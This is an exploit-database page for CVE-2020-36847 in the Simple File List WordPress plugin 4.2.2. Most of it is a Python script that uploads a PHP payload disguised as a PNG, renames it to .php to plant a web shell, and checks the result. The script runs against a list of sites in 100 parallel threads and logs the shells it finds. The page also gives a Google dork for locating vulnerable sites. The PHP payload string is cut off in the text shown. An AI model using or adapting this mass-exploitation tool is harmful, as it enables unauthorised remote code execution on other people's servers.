Simple File List WordPress Plugin 4.2.2 – File Upload to RCE

Exploit Details

Basic Information

Exploit Title Simple File List WordPress Plugin 4.2.2 – File Upload to RCE
Exploit ID EDB-ID:52371
Type exploitdb
Published 2025-07-22T00:00:00
Modified 2025-07-22T00:00:00

CVSS Information

CVSS Score 9.8
Severity CRITICAL
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2020-36847

Exploit Description

Exploit…

Exploit Code

# Exploit Title: Simple File List WordPress Plugin 4.2.2 – File Upload to RCE

# Google Dork: inurl:/wp-content/plugins/simple-file-list/

# Date: 2025-07-15

# Exploit Author: Md Amanat Ullah (xSwads)

# Vendor Homepage: https://wordpress.org/plugins/simple-file-list/

# Software Link:

https://downloads.wordpress.org/plugin/simple-file-list.4.2.2.zip

# Version: <= 4.2.2
# Tested on: Ubuntu 22.04

# CVE: CVE-2020-36847

#!/usr/bin/env python3

import requests

import sys, os

from concurrent.futures import ThreadPoolExecutor, as_completed

from urllib.parse import urljoin

from colorama import Fore, init

init(autoreset=True)

HEADERS = {‘User-Agent’: ‘Mozilla/5.0’}

PHP_PAYLOAD = “

UPLOAD_PATH = “wp-content/plugins/simple-file-list/ee-upload-engine.php”

RENAME_PATH = “wp-content/plugins/simple-file-list/ee-file-engine.php”

UPLOAD_FOLDER = “wp-content/uploads/simple-file-list/”

def FilterURLS(site):

site = site.strip()

if not site.startswith((‘http://’, ‘https://’)):

site = ‘http://’ + site

if not site.endswith(‘/’):

site += ‘/’

return site

def upload_payload(base):

upload_url = urljoin(base, UPLOAD_PATH)

try:

files = {‘file’: (‘pwn.png’, PHP_PAYLOAD, ‘image/png’)}

r = requests.post(upload_url, files=files, headers=HEADERS, timeout=10, verify=False)

r.raise_for_status()

result = r.json()

return result.get(‘file’)

except Exception:

return None

def rename_payload(base, filename):

rename_url = urljoin(base, RENAME_PATH)

try:

new_name = filename[:-4] + ‘.php’

data = {‘oldFile’: filename, ‘newFile’: new_name}

r = requests.post(rename_url, data=data, headers=HEADERS, timeout=10, verify=False)

r.raise_for_status()

result = r.json()

return result.get(‘newFile’)

except Exception:

return None

def exploit(site):

base = FilterURLS(site)

try:

filename = upload_payload(base)

if not filename:

print(Fore.RED + f”[Failed] – {site}”)

return

newfile = rename_payload(base, filename)

if not newfile:

print(Fore.RED + f”[Failed] – {site}”)

return

shell_url = urljoin(base, UPLOAD_FOLDER + newfile)

r = requests.get(shell_url, headers=HEADERS, timeout=10, verify=False)

if r.status_code == 200:

print(Fore.GREEN + f”[Exploited] – {shell_url}”)

with open(“shells_found.txt”, “a”) as f:

f.write(shell_url + “\n”)

else:

print(Fore.RED + f”[Failed] – {site}”)

except Exception:

print(Fore.RED + f”[Failed] – {site}”)

def main():

if len(sys.argv) != 2:

print(f”Usage: {sys.argv[0]} list.txt”)

sys.exit(1)

targets_file = sys.argv[1]

if not os.path.isfile(targets_file):

print(f”File {targets_file} not found.”)

sys.exit(1)

with open(targets_file) as f:

targets = [line.strip() for line in f if line.strip()]

with ThreadPoolExecutor(max_workers=100) as executor:

futures = [executor.submit(exploit, target) for target in targets]

for _ in as_completed(futures):

pass

if __name__ == “__main__”:

requests.packages.urllib3.disable_warnings()

main()

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.